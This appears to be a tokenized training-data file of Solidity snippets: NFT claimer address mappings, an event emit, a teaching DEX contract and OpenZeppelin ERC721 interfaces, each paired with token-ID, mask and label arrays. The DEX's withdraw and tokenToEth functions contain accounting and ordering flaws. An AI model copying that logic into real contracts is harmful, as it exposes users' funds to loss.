claimers[0xcC5Fb93A6e274Ac3C626a02B24F939b1307b46e1] = 640; // seq: 639 -> tkn_id: 640 claimers[0x0E590293aD7CB2Dd9968B7f16eac9614451A63E1] = 641; // seq: 640 -> tkn_id: 641 claimers[0x726d54570632b30c957E60CFf44AD4eE2b559dB6] = 642; // seq: 641 -> tkn_id: 642 claimers[0xE2927F7f6618E71A86CE3F8F5AC32B5BbFe163a6] = 643; // seq: 642 -> tkn_id: 643 claimers[0x3C7DEd16d0E5b5bA9fb3DE539ed28cb7B7D8C95C] = 644; // seq: 643 -> tkn_id: 644 claimers[0xB7c3A0928c06A80DC4A4CDc9dC0aec33E047A4c8] = 645; // seq: 644 -> tkn_id: 645 claimers[0x95f26898b144FF93283d38d0B1A92b69f90d3123] = 646; // seq: 645 -> tkn_id: 646 claimers[0x95a788A34b7781eF34660196BB615A97F7e7d2B8] = 647; // seq: 646 -> tkn_id: 647 claimers[0x317EA9Dd8fCac5A6Fd94eB2959FeC690931b61b8] = 648; // seq: 647 -> tkn_id: 648 claimers[0x2CE83785eD44961959bf5251e85af897Ba9ddAC7] = 649; // seq: 648 -> tkn_id: 649 claimers[0xE144E7e3948dCA4AD395794031A0289a83b150A0] = 650; // seq: 649 -> tkn_id: 650 claimers[0x18668B0244949570ec637465BAFdDe4d082afa69] = 651; // seq: 650 -> tkn_id: 651 claimers[0xaba035729057984c7431a711436D3e51e947cbD4] = 652; // seq: 651 -> tkn_id: 652 claimers[0x2519410f255A52CDF22a7DFA870073b1357B30A7] = 653; // seq: 652 -> tkn_id: 653 claimers[0x63a12D51Ee95eF213404308e1F8a2805A0c21899] = 654; // seq: 653 -> tkn_id: 654 claimers[0x882bBB07991c5c2f65988fd077CdDF405FE5b56f] = 655; // seq: 654 -> tkn_id: 655 claimers[0x11f53fdAb3054a5cA63778659263aF0838b642b1] = 656; // seq: 655 -> tkn_id: 656 claimers[0x093E088901909dEecC1b4a1479fBcCE1FBEd31E7] = 657; // seq: 656 -> tkn_id: 657 claimers[0x3c5cBddC5D6D6720d51CB563134d72E20dc4C713] = 658; // seq: 657 -> tkn_id: 658 claimers[0x3Db111A09A2e77A8DD6d03dc3f089f4A0F4557E9] = 659; // seq: 658 -> tkn_id: 659 claimers[0x8F53cA524c1451A930DEA18926df964Fb72B10F1] = 660; // seq: 659 -> tkn_id: 660 claimers[0x22C535D5EccCF398997eabA19Aa3FAbd3fe6AA16] = 661; // seq: 660 -> tkn_id: 661 claimers[0x93dF35071B3bc1B6d16D5f5F20fbB2be9D50FE67] = 662; // seq: 661 -> tkn_id: 662 claimers[0xfE61D830b99E40b3E905CD7EcF4a08DD06fa7F03] = 663; // seq: 662 -> tkn_id: 663 claimers[0x9cB5FAF0801ac959a0d40b2A7D69Ed8E42F792eA] = 664; // seq: 663 -> tkn_id: 664 claimers[0xC5B0f2afEC01807D964D76aEce6dB2F093239619] = 665; // seq: 664 -> tkn_id: 665 claimers[0x9b279dbaB2aE483EEDD106a583ACbBCFd722CE79] = 666; // seq: 665 -> tkn_id: 666 claimers[0x429c74f7C7fe7d31a70289e9B4b54e0F7300f376] = 667; // seq: 666 -> tkn_id: 667 claimers[0xeD08e8D72D35428b28390B7334ebe7F9f7a64822] = 668; // seq: 667 -> tkn_id: 668 claimers[0xB468076716C800Ce1eB9e9F515488099cC838128] = 669; // seq: 668 -> tkn_id: 669 claimers[0x3D7A35c89f04Af71F453b33848B49714859D061c] = 670; // seq: 669 -> tkn_id: 670 claimers[0x7DcE9e613b3583C600255A230497DD77429b0e21] = 671; // seq: 670 -> tkn_id: 671 claimers[0x2B00CaD253E88924290fFC7FeE221D135A0f083a] = 672; // seq: 671 -> tkn_id: 672 claimers[0xA2A64dE6BEe8c68DBCC948609708Ae54801CBAd8] = 673; // seq: 672 -> tkn_id: 673 claimers[0x6F255406306D6D78e97a29F7f249f6d2d85d9801] = 674; // seq: 673 -> tkn_id: 674 claimers[0xcDaf4c2e205A8077F29BF1dfF9Bd0B6a501B72cB] = 675; // seq: 674 -> tkn_id: 675 claimers[0xC45bF67A729B9A2b98521CDbCbf8bc70d8b81af3] = 676; // seq: 675 -> tkn_id: 676 claimers[0x35205135F0883e6a59aF9cb64310c53003433122] = 677; // seq: 676 -> tkn_id: 677 claimers[0xbAFcFC93A2fb6a042CA87f3d70670E2c114CE9fd] = 678; // seq: 677 -> tkn_id: 678 claimers[0xf664D1363FcE2da5ebb9aA935ef11Ce07be012Db] = 679; // seq: 678 -> tkn_id: 679 claimers[0x57e7ce99461FDeA80Ae8a6292e58AEfe053ed3a3] = 680; // seq: 679 -> tkn_id: 680 claimers[0xbD0Ad704f38AfebbCb4BA891389938D4177A8A92] = 681; // seq: 680 -> tkn_id: 681 claimers[0x0962FEeC7d4f0fa0EBadf6cd2e1CB783103B41F4] = 682; // seq: 681 -> tkn_id: 682 claimers[0x9B89f9Fd0952009fd556b19B18d85dA1089D005C] = 683; // seq: 682 -> tkn_id: 683 claimers[0xa511CB01cCe9c221cC73a9f9231937Cf6baf1D1A] = 684; // seq: 683 -> tkn_id: 684 claimers[0x79e5c907b9d4Af5840C687e6975a1C530895454a] = 685; // seq: 684 -> tkn_id: 685 claimers[0xf782f0Bf9B741FdE0E7c7dA4f71c7E33554f8397] = 686; // seq: 685 -> tkn_id: 686 claimers[0x228Bb6C83e8d0767eD342dd333DDbD55Ad217a3D] = 687; // seq: 686 -> tkn_id: 687 claimers[0xf2f62B5C7B3395b0ACe219d1B91D8083f8394720] = 688; // seq: 687 -> tkn_id: 688 claimers[0x2A77484F4cca78a5B3f71c22A50e3A1b8583072D] = 689; // seq: 688 -> tkn_id: 689 claimers[0xbB85877c4AEa11A141FC107Dc8D2E43C4B04F8C8] = 690; // seq: 689 -> tkn_id: 690 claimers[0x0414B2A60f8d4b84dE036677f8780F59AFEc1b65] = 691; // seq: 690 -> tkn_id: 691 claimers[0xb3aA296e046E0EFBd734cfa5DCd447Ae3a5e6104] = 692; // seq: 691 -> tkn_id: 692 claimers[0xa6700EA3f19830e2e8b35363c2978cb9D5630303] = 693; // seq: 692 -> tkn_id: 693 claimers[0xF976106afd7ADE91F8dFc5167284AD57795b17B1] = 694; // seq: 693 -> tkn_id: 694 claimers[0x793E446AFFf802e20bdb496A64250622BE32Df29] = 695; // seq: 694 -> tkn_id: 695 claimers[0x2E72d671fa07be54ae9671f793895520268eF00E] = 696; // seq: 695 -> tkn_id: 696 claimers[0xB67c99dfb3422b61f9E38070f021eaB7B42e9CAF] = 697; // seq: 696 -> tkn_id: 697 claimers[0x0095D1f7804D32A7921b26D3Eb1229873D3B11E0] = 698; // seq: 697 -> tkn_id: 698 claimers[0xEf31D013E222AaD9Eb90df9fd466c758B7603FaB] = 699; // seq: 698 -> tkn_id: 699 claimers[0x9936f05D5cE4259D44Aa51d54c0C245652efcc11] = 700; // seq: 699 -> tkn_id: 700 claimers[0x58bb897f0612235FA7Ae324F9b9718a06A2f6df3] = 701; // seq: 700 -> tkn_id: 701 claimers[0xa2cF94Bf60B6a6C08488B756E6695d990574e9C7] = 702; // seq: 701 -> tkn_id: 702 claimers[0x47754f6dCb011A308c91a666c5245abbC577c9eD] = 703; // seq: 702 -> tkn_id: 703 claimers[0xB6a95916221Abef28339594161cd154Bc650c515] = 704; // seq: 703 -> tkn_id: 704 claimers[0xb0471Ad0fEFD2151Efaa6C8415b1dB984526c0a6] = 705; // seq: 704 -> tkn_id: 705 claimers[0xC869ce145a5a72985540285Efde28f5176F39bC9] = 706; // seq: 705 -> tkn_id: 706 claimers[0x79440849d5BA6Df5fb1F45Ff36BE3979F4271fa4] = 707; // seq: 706 -> tkn_id: 707 claimers[0xD54F610d744b64393386a354cf1ADD944cBD42c9] = 708; // seq: 707 -> tkn_id: 708 claimers[0x3b368E77F110e3FE1C8482F395E51D1f75e50e5f] = 709; // seq: 708 -> tkn_id: 709 claimers[0x529ccAFA5aC0d18E7402244859AF8664BA736919] = 710; // seq: 709 -> tkn_id: 710 claimers[0x686241b898D7616FF78e22cc45fb07e92A74B7B5] = 711; // seq: 710 -> tkn_id: 711 claimers[0xd859ad8D8DCA1eEC61529833685FE59FAb804E7d] = 712; // seq: 711 -> tkn_id: 712 claimers[0x5AbfC4E2bB4941BD6773f120573618Ba8a4f7863] = 713; // seq: 712 -> tkn_id: 713 claimers[0x17c1cF2eeFda3f339996c67cd18d4389D132D033] = 714; // seq: 713 -> tkn_id: 714 claimers[0x6Ce5B05f0C6A8129DE3C7fC3E69ca35Be3ECB35e] = 715; // seq: 714 -> tkn_id: 715 claimers[0x4B992870CF27A548921082be7B447fc3c0534509] = 716; // seq: 715 -> tkn_id: 716 claimers[0xa278039DEE9B1fC58164Ef7B6f5eC86de9786178] = 717; // seq: 716 -> tkn_id: 717 claimers[0xBa64c61B45340994bABF676544025BcCc0bE6A9e] = 718; // seq: 717 -> tkn_id: 718 claimers[0x3656f4d852f15986beBE025AEF64a40dF2A5d4a1] = 719; // seq: 718 -> tkn_id: 719 claimers[0x4A57385D14882d6d8FDB3916792E9585102d22DA] = 720; // seq: 719 -> tkn_id: 720 claimers[0x764108BAcf10e30F6f249d17E7612fB9008923F0] = 721; // seq: 720 -> tkn_id: 721 claimers[0x880BD9ec1d3b71Bda5249baCCC63E9a8e5902250] = 722; // seq: 721 -> tkn_id: 722 claimers[0x1195e87Ca87C8f5989ecBa2d569E64784E5820f9] = 723; // seq: 722 -> tkn_id: 723 claimers[0x8591D21143794463A69017944F555E272965db06] = 724; // seq: 723 -> tkn_id: 724 claimers[0x032c255E5a84C2E8Ca242f85098988D69b982E85] = 725; // seq: 724 -> tkn_id: 725 claimers[0xFD9bCD1F71Cb016079077F659Ee99f8AD834732A] = 726; // seq: 725 -> tkn_id: 726 claimers[0x6Be049Bb4688dFf540E7798433c925E21c70Ac25] = 727; // seq: 726 -> tkn_id: 727 claimers[0xFbFB1aD08f5d60d0243CC88E1EDf9eD5875d2EFe] = 728; // seq: 727 -> tkn_id: 728 claimers[0xeBe91f187bF0b29185a8e4A362392Aa3665030a1] = 729; // seq: 728 -> tkn_id: 729 claimers[0xF6666FCE84FDe632f33c1A881b6AC2C0f545D271] = 730; // seq: 729 -> tkn_id: 730
seq: 406 -> tkn_id: 407
claimers[0xFB81414570E338E28C98417c38A3A5c9C6503516] = 407;
12,654,902
[ 1, 5436, 30, 1059, 7677, 317, 13030, 82, 67, 350, 30, 8063, 27, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 14784, 414, 63, 20, 16275, 38, 28, 3461, 30379, 7301, 41, 3707, 28, 41, 6030, 39, 29, 5193, 4033, 71, 7414, 37, 23, 37, 25, 71, 29, 39, 26, 3361, 4763, 2313, 65, 273, 8063, 27, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0x340ba9bF2129915DC0610b9f68ACE7f12fa1681a/sources/Grantox/Grantox.sol
emit fundingSessionCreatedAndStarted
emit FundingSessionCreatedAndStarted(msg.sender, _sessionId.current(), block.timestamp, _sessionEnd, _sessionTargetAmount);
3,284,688
[ 1, 18356, 22058, 2157, 6119, 1876, 9217, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3626, 478, 14351, 2157, 6119, 1876, 9217, 12, 3576, 18, 15330, 16, 389, 3184, 548, 18, 2972, 9334, 1203, 18, 5508, 16, 389, 3184, 1638, 16, 389, 3184, 2326, 6275, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "hardhat/console.sol"; /** * @title * @notice Empty DEX.sol that just outlines what features could be part of the challenge (up to you!) * @dev We want to create an automatic market where our contract will hold reserves of both ETH and 🎈 Balloons. These reserves will provide liquidity that allows anyone to swap between the assets. */ contract DEX { /* ========== GLOBAL VARIABLES ========== */ using SafeMath for uint256; //outlines use of SafeMath for uint256 variables IERC20 token; //instantiates the imported contract event EthToTokenSwap(); event TokenToEthSwap(); event LiquidityProvided(); event LiquidityRemoved(); uint256 public totalLiquidity; mapping(address => uint256) public liquidity; constructor(address token_addr) { token = IERC20(token_addr); //specifies the token address that will hook into the interface and be used through the variable 'token' } /** * @notice initializes amount of tokens that will be transferred to the DEX itself from the erc20 contract mintee (and only them based on how Balloons.sol is written). Loads contract up with both ETH and Balloons. * @param tokens amount to be transferred to DEX * @return totalLiquidity is the balance of this DEX contract * NOTE: since ratio is 1:1, this is fine to initialize the totalLiquidity (wrt to balloons) as equal to eth balance of contract. */ function init(uint256 tokens) public payable returns (uint256) { require(totalLiquidity == 0, "DEX already has liquidity"); console.log("current balance for address is", address(this).balance); totalLiquidity = address(this).balance; liquidity[msg.sender] = totalLiquidity; // sender, recipient, amount require((token.transferFrom(msg.sender, address(this), tokens))); return totalLiquidity; } /** * @notice returns yOutput, or yDelta for xInput (or xDelta) * @dev Follow along with the [original tutorial](https://medium.com/@austin_48503/%EF%B8%8F-minimum-viable-exchange-d84f30bd0c90) Price section for an understanding of the DEX's pricing model and for a price function to add to your contract. You may need to update the Solidity syntax (e.g. use + instead of .add, \* instead of .mul, etc). Deploy when you are done. */ function price( uint256 xInput, uint256 xReserves, uint256 yReserves ) public pure returns (uint256 yOutput) { uint256 input_amount_with_fee = xInput.mul(997); uint256 numerator = input_amount_with_fee.mul(yReserves); uint256 denominator = xReserves.mul(1000).add(input_amount_with_fee); yOutput = numerator / denominator; return yOutput; } /** * @notice sends Ether to DEX in exchange for $BAL */ function ethToToken() public payable returns (uint256 tokenOutput) { uint256 token_reserve = token.balanceOf(address(this)); uint256 tokens_bought = price( msg.value, address(this).balance.sub(msg.value), token_reserve ); require(token.transfer(msg.sender, tokens_bought)); return tokens_bought; } /** * @notice sends $BAL tokens to DEX in exchange for Ether */ function tokenToEth(uint256 tokenInput) public returns (uint256 ethOutput) { uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_bought = price( tokenInput, token_reserve, address(this).balance ); payable(msg.sender).transfer(eth_bought); require(token.transferFrom(msg.sender, address(this), tokenInput)); ethOutput = eth_bought; return ethOutput; } /** * @notice allows deposits of $BAL and $ETH to liquidity pool * NOTE: Ratio needs to be maintained. */ function deposit() public payable returns (uint256 tokensDeposited) { uint256 eth_reserve = address(this).balance.sub(msg.value); uint256 token_reserve = token.balanceOf(address(this)); uint256 token_amount = (msg.value.mul(token_reserve) / eth_reserve).add( 1 ); uint256 liquidity_minted = msg.value.mul(totalLiquidity) / eth_reserve; liquidity[msg.sender] = liquidity[msg.sender].add(liquidity_minted); require(token.transferFrom(msg.sender, address(this), token_amount)); tokensDeposited = liquidity_minted; return tokensDeposited; } /** * @notice allows withdrawal of $BAL and $ETH from liquidity pool */ function withdraw(uint256 amount) public returns (uint256, uint256) { uint256 token_reserve = token.balanceOf(address(this)); uint256 eth_amount = amount.mul(address(this).balance) / totalLiquidity; uint256 token_amount = amount.mul(token_reserve) / totalLiquidity; liquidity[msg.sender] = liquidity[msg.sender].sub(eth_amount); totalLiquidity = totalLiquidity.sub(eth_amount); payable(msg.sender).transfer(eth_amount); require(token.transfer(msg.sender, token_amount)); return (eth_amount, token_amount); } }
* @notice allows deposits of $BAL and $ETH to liquidity pool NOTE: Ratio needs to be maintained./
function deposit() public payable returns (uint256 tokensDeposited) { uint256 eth_reserve = address(this).balance.sub(msg.value); uint256 token_reserve = token.balanceOf(address(this)); uint256 token_amount = (msg.value.mul(token_reserve) / eth_reserve).add( 1 ); uint256 liquidity_minted = msg.value.mul(totalLiquidity) / eth_reserve; liquidity[msg.sender] = liquidity[msg.sender].add(liquidity_minted); require(token.transferFrom(msg.sender, address(this), token_amount)); tokensDeposited = liquidity_minted; return tokensDeposited; }
13,086,918
[ 1, 5965, 87, 443, 917, 1282, 434, 271, 38, 1013, 471, 271, 1584, 44, 358, 4501, 372, 24237, 2845, 5219, 30, 534, 4197, 4260, 358, 506, 11566, 8707, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 1435, 1071, 8843, 429, 1135, 261, 11890, 5034, 2430, 758, 1724, 329, 13, 288, 203, 3639, 2254, 5034, 13750, 67, 455, 6527, 273, 1758, 12, 2211, 2934, 12296, 18, 1717, 12, 3576, 18, 1132, 1769, 203, 3639, 2254, 5034, 1147, 67, 455, 6527, 273, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 2254, 5034, 1147, 67, 8949, 273, 261, 3576, 18, 1132, 18, 16411, 12, 2316, 67, 455, 6527, 13, 342, 13750, 67, 455, 6527, 2934, 1289, 12, 203, 5411, 404, 203, 3639, 11272, 203, 3639, 2254, 5034, 4501, 372, 24237, 67, 81, 474, 329, 273, 1234, 18, 1132, 18, 16411, 12, 4963, 48, 18988, 24237, 13, 342, 13750, 67, 455, 6527, 31, 203, 3639, 4501, 372, 24237, 63, 3576, 18, 15330, 65, 273, 4501, 372, 24237, 63, 3576, 18, 15330, 8009, 1289, 12, 549, 372, 24237, 67, 81, 474, 329, 1769, 203, 3639, 2583, 12, 2316, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 1147, 67, 8949, 10019, 203, 3639, 2430, 758, 1724, 329, 273, 4501, 372, 24237, 67, 81, 474, 329, 31, 203, 3639, 327, 2430, 758, 1724, 329, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe 